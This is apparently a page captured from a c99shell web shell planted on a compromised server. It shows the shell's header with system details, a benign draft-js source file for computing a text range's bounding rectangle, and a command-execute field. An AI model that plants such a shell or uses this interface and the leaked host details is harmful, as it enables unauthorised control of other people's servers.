Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/wincloud_gateway/node_modules/draft-js/lib/ drwxr-xr-x | |
| Viewing file: Select action/file-type: /**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*
* @emails oncall+draft_js
*/
'use strict';
var getRangeClientRects = require("./getRangeClientRects");
/**
* Like range.getBoundingClientRect() but normalizes for browser bugs.
*/
function getRangeBoundingClientRect(range) {
// "Return a DOMRect object describing the smallest rectangle that includes
// the first rectangle in list and all of the remaining rectangles of which
// the height or width is not zero."
// http://www.w3.org/TR/cssom-view/#dom-range-getboundingclientrect
var rects = getRangeClientRects(range);
var top = 0;
var right = 0;
var bottom = 0;
var left = 0;
if (rects.length) {
// If the first rectangle has 0 width, we use the second, this is needed
// because Chrome renders a 0 width rectangle when the selection contains
// a line break.
if (rects.length > 1 && rects[0].width === 0) {
var _rects$ = rects[1];
top = _rects$.top;
right = _rects$.right;
bottom = _rects$.bottom;
left = _rects$.left;
} else {
var _rects$2 = rects[0];
top = _rects$2.top;
right = _rects$2.right;
bottom = _rects$2.bottom;
left = _rects$2.left;
}
for (var ii = 1; ii < rects.length; ii++) {
var rect = rects[ii];
if (rect.height !== 0 && rect.width !== 0) {
top = Math.min(top, rect.top);
right = Math.max(right, rect.right);
bottom = Math.max(bottom, rect.bottom);
left = Math.min(left, rect.left);
}
}
}
return {
top: top,
right: right,
bottom: bottom,
left: left,
width: right - left,
height: bottom - top
};
}
module.exports = getRangeBoundingClientRect; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0262 ]-- |